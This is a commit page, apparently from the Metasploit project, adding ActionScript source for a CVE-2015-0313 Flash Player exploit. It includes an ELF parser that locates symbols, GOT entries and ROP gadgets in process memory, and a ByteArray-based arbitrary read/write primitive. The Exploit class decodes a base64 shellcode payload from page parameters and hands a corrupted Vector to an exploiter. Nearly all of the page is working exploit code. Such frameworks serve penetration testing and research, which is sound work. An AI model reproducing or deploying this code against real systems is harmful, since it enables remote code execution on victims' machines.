Skip to content

Commit a6fe383

Browse files
jvazquez-r7jvazquez-r7
committed
Use AS Exploiter
1 parent 64b486e commit a6fe383

File tree

9 files changed

+925
-23
lines changed

9 files changed

+925
-23
lines changed

‎data/exploits/CVE-2015-0313/msf.swf

2.89 KB
Binary file not shown.

‎external/source/exploits/CVE-2015-0313/Elf.as

Lines changed: 235 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,235 @@
1+
package
2+
{
3+
public class Elf
4+
{
5+
private const PT_DYNAMIC:uint = 2
6+
private const PT_LOAD:uint = 1
7+
private const PT_READ_EXEC:uint = 5
8+
private const DT_SYMTAB:uint = 6
9+
private const DT_STRTAB:uint = 5
10+
private const DT_PLTGOT:uint = 3
11+
12+
private var e_ba:ExploitByteArray
13+
// elf base address
14+
public var base:uint = 0
15+
// program header address
16+
public var ph:uint = 0
17+
// number of program headers
18+
public var ph_size:uint = 0
19+
// program header entry size
20+
public var ph_esize:uint = 0
21+
// DYNAMIC segment address
22+
public var seg_dynamic:uint = 0
23+
// DYNAMIC segment size
24+
public var seg_dynamic_size:uint = 0
25+
// CODE segment address
26+
public var seg_exec:uint = 0
27+
// CODE segment size
28+
public var seg_exec_size:uint = 0
29+
// .dynsyn section address
30+
public var sec_dynsym:uint = 0
31+
// .synstr section address
32+
public var sec_dynstr:uint = 0
33+
// .got.plt section address
34+
public var sec_got_plt:uint = 0
35+
36+
public function Elf(ba:ExploitByteArray, addr:uint)
37+
{
38+
e_ba = ba
39+
set_base(addr)
40+
set_program_header()
41+
set_program_header_size()
42+
set_program_header_entry_size()
43+
set_dynamic_segment()
44+
set_exec_segment()
45+
set_dynsym()
46+
set_dynstr()
47+
set_got_plt()
48+
}
49+
50+
public function external_symbol(name:String):uint {
51+
var entry:uint = 0
52+
var st_name:uint = 0
53+
var st_value:uint = 0
54+
var st_size:uint = 0
55+
var st_info:uint = 0
56+
var st_other:uint = 0
57+
var st_shndx:uint = 0
58+
var st_string:String = ""
59+
var got_plt_index:uint = 0
60+
61+
for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit
62+
entry = sec_dynsym + 0x10 + (i * 0x10)
63+
st_name = e_ba.read(entry)
64+
st_value = e_ba.read(entry + 4)
65+
st_info = e_ba.read(entry + 0xc, "byte")
66+
st_string = e_ba.read_string(sec_dynstr + st_name)
67+
if (st_string == name) {
68+
return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4))
69+
}
70+
if (st_info != 0x11) {
71+
got_plt_index++
72+
}
73+
}
74+
throw new Error()
75+
}
76+
77+
public function symbol(name:String):uint {
78+
var entry:uint = 0
79+
var st_name:uint = 0
80+
var st_value:uint = 0
81+
var st_size:uint = 0
82+
var st_info:uint = 0
83+
var st_other:uint = 0
84+
var st_shndx:uint = 0
85+
var st_string:String = ""
86+
87+
for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit
88+
entry = sec_dynsym + 0x10 + (i * 0x10)
89+
st_name = e_ba.read(entry)
90+
st_value = e_ba.read(entry + 4)
91+
st_info = e_ba.read(entry + 0xc, "byte")
92+
st_string = e_ba.read_string(sec_dynstr + st_name)
93+
if (st_string == name) {
94+
return base + st_value
95+
}
96+
}
97+
throw new Error()
98+
}
99+
100+
101+
public function gadget(gadget:String, hint:uint):uint
102+
{
103+
var value:uint = parseInt(gadget, 16)
104+
var contents:uint = 0
105+
for (var i:uint = 0; i < seg_exec_size - 4; i++) {
106+
contents = e_ba.read(seg_exec + i)
107+
if (hint == 0xffffffff && value == contents) {
108+
return seg_exec + i
109+
}
110+
if (hint != 0xffffffff && value == (contents & hint)) {
111+
return seg_exec + i
112+
}
113+
}
114+
throw new Error()
115+
}
116+
117+
private function set_base(addr:uint):void
118+
{
119+
addr &= 0xffff0000
120+
while (true) {
121+
if (e_ba.read(addr) == 0x464c457f) {
122+
base = addr
123+
return
124+
}
125+
addr -= 0x1000
126+
}
127+
128+
throw new Error()
129+
}
130+
131+
private function set_program_header():void
132+
{
133+
ph = base + e_ba.read(base + 0x1c)
134+
}
135+
136+
private function set_program_header_size():void
137+
{
138+
ph_size = e_ba.read(base + 0x2c, "word")
139+
}
140+
141+
private function set_program_header_entry_size():void
142+
{
143+
ph_esize = e_ba.read(base + 0x2a, "word")
144+
}
145+
146+
private function set_dynamic_segment():void
147+
{
148+
var entry:uint = 0
149+
var p_type:uint = 0
150+
151+
for (var i:uint = 0; i < ph_size; i++) {
152+
entry = ph + (i * ph_esize)
153+
p_type = e_ba.read(entry)
154+
if (p_type == PT_DYNAMIC) {
155+
seg_dynamic = base + e_ba.read(entry + 8)
156+
seg_dynamic_size = e_ba.read(entry + 0x14)
157+
return
158+
}
159+
}
160+
161+
throw new Error()
162+
}
163+
164+
private function set_exec_segment():void
165+
{
166+
var entry:uint = 0
167+
var p_type:uint = 0
168+
var p_flags:uint = 0
169+
170+
for (var i:uint = 0; i < ph_size; i++) {
171+
entry = ph + (i * ph_esize)
172+
p_type = e_ba.read(entry)
173+
p_flags = e_ba.read(entry + 0x18)
174+
if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) {
175+
seg_exec = base + e_ba.read(entry + 8)
176+
seg_exec_size = e_ba.read(entry + 0x14)
177+
return
178+
}
179+
}
180+
181+
throw new Error()
182+
}
183+
184+
private function set_dynsym():void
185+
{
186+
var entry:uint = 0
187+
var s_type:uint = 0
188+
189+
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
190+
entry = seg_dynamic + i
191+
s_type = e_ba.read(entry)
192+
if (s_type == DT_SYMTAB) {
193+
sec_dynsym = e_ba.read(entry + 4)
194+
return
195+
}
196+
}
197+
198+
throw new Error()
199+
}
200+
201+
private function set_dynstr():void
202+
{
203+
var entry:uint = 0
204+
var s_type:uint = 0
205+
206+
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
207+
entry = seg_dynamic + i
208+
s_type = e_ba.read(entry)
209+
if (s_type == DT_STRTAB) {
210+
sec_dynstr = e_ba.read(entry + 4)
211+
return
212+
}
213+
}
214+
215+
throw new Error()
216+
}
217+
218+
private function set_got_plt():void
219+
{
220+
var entry:uint = 0
221+
var s_type:uint = 0
222+
223+
for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) {
224+
entry = seg_dynamic + i
225+
s_type = e_ba.read(entry)
226+
if (s_type == DT_PLTGOT) {
227+
sec_got_plt = e_ba.read(entry + 4)
228+
return
229+
}
230+
}
231+
232+
throw new Error()
233+
}
234+
}
235+
}

‎external/source/exploits/CVE-2015-0313/Exploit.as

Lines changed: 16 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -21,29 +21,34 @@ import flash.system.ApplicationDomain
2121
import avm2.intrinsics.memory.casi32
2222
import mx.utils.Base64Decoder
2323

24-
public class Main extends Sprite
24+
public class Exploit extends Sprite
2525
{
2626
private var ov:Vector.<Object> = new Vector.<Object>(80000)
2727
private var uv:Vector.<uint>
2828
private var ba:ByteArray = new ByteArray()
2929
private var worker:Worker
3030
private var mc:MessageChannel
3131
private var b64:Base64Decoder = new Base64Decoder()
32-
private var payload:String = ""
32+
private var payload:ByteArray
33+
private var platform:String
34+
private var os:String
35+
private var exploiter:Exploiter
3336

34-
public function Main()
37+
public function Exploit()
3538
{
3639
if (Worker.current.isPrimordial) mainThread()
3740
else workerThread()
3841
}
3942

4043
private function mainThread():void
4144
{
42-
// var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
43-
// var pattern:RegExp = / /g;
44-
// b64_payload = b64_payload.replace(pattern, "+")
45-
// b64.decode(b64_payload)
46-
// payload = b64.toByteArray().toString()
45+
platform = LoaderInfo(this.root.loaderInfo).parameters.pl
46+
os = LoaderInfo(this.root.loaderInfo).parameters.os
47+
var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
48+
var pattern:RegExp = / /g;
49+
b64_payload = b64_payload.replace(pattern, "+")
50+
b64.decode(b64_payload)
51+
payload = b64.toByteArray()
4752

4853
ba.length = 0x1000
4954
ba.shareable = true
@@ -60,7 +65,6 @@ public class Main extends Sprite
6065
worker.setSharedProperty("mc", mc)
6166
worker.setSharedProperty("ba", ba)
6267
ApplicationDomain.currentDomain.domainMemory = ba
63-
Logger.log("starting...")
6468
worker.start()
6569
}
6670

@@ -84,12 +88,10 @@ public class Main extends Sprite
8488

8589
private function onMessage(e:Event):void
8690
{
87-
Logger.log("[*] onMessage")
8891
var mod:uint = casi32(0, 1022, 0xFFFFFFFF)
89-
Logger.log("[*] onMessage - mod: " + mod.toString())
92+
Logger.log("[*] Exploit - onMessage(): mod: " + mod.toString())
9093
if (mod == 1022) mc.receive()
9194
else {
92-
Logger.log("[*] onMessage - Searching corrupted vector...")
9395
for (var i:uint = 0; i < ov.length; i++) {
9496
if (ov[i].length == 0xffffffff) {
9597
uv = ov[i]
@@ -98,10 +100,10 @@ public class Main extends Sprite
98100
}
99101
}
100102
if (uv == null) {
101-
Logger.log("not found")
103+
Logger.log("[!] Exploit - onMessage(): Corrupted Vector not found")
102104
return
103105
}
104-
Logger.log('whooray: ' + uv.length.toString(16))
106+
exploiter = new Exploiter(this, platform, os, payload, uv)
105107
}
106108
}
107109
}

‎external/source/exploits/CVE-2015-0313/ExploitByteArray.as

Lines changed: 85 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,85 @@
1+
package
2+
{
3+
import flash.utils.ByteArray
4+
5+
public class ExploitByteArray
6+
{
7+
private const MAX_STRING_LENGTH:uint = 100
8+
public var ba:ByteArray
9+
public var original_length:uint
10+
private var platform:String
11+
12+
public function ExploitByteArray(p:String, l:uint = 1024)
13+
{
14+
ba = new ByteArray()
15+
ba.length = l
16+
ba.endian = "littleEndian"
17+
ba.writeUnsignedInt(0)
18+
platform = p
19+
original_length = l
20+
}
21+
22+
public function set_length(length:uint):void
23+
{
24+
ba.length = length
25+
}
26+
27+
public function get_length():uint
28+
{
29+
return ba.length
30+
}
31+
32+
public function lets_ready():void
33+
{
34+
ba.endian = "littleEndian"
35+
if (platform == "linux") {
36+
ba.length = 0xffffffff
37+
}
38+
}
39+
40+
public function is_ready():Boolean
41+
{
42+
if (ba.length == 0xffffffff)
43+
return true
44+
45+
return false
46+
}
47+
48+
public function read(addr:uint, type:String = "dword"):uint
49+
{
50+
ba.position = addr
51+
switch(type) {
52+
case "dword":
53+
return ba.readUnsignedInt()
54+
case "word":
55+
return ba.readUnsignedShort()
56+
case "byte":
57+
return ba.readUnsignedByte()
58+
}
59+
return 0
60+
}
61+
62+
public function read_string(addr:uint, length:uint = 0):String
63+
{
64+
ba.position = addr
65+
if (length == 0)
66+
return ba.readUTFBytes(MAX_STRING_LENGTH)
67+
else
68+
return ba.readUTFBytes(length)
69+
}
70+
71+
public function write(addr:uint, value:* = 0, zero:Boolean = true):void
72+
{
73+
var i:uint
74+
75+
if (addr) ba.position = addr
76+
if (value is String) {
77+
for (i = 0; i < value.length; i++) ba.writeByte(value.charCodeAt(i))
78+
if (zero) ba.writeByte(0)
79+
} else if (value is ByteArray) {
80+
var value_length:uint = value.length
81+
for (i = 0; i < value_length; i++) ba.writeByte(value.readByte())
82+
} else ba.writeUnsignedInt(value)
83+
}
84+
}
85+
}

0 commit comments

Comments
 (0)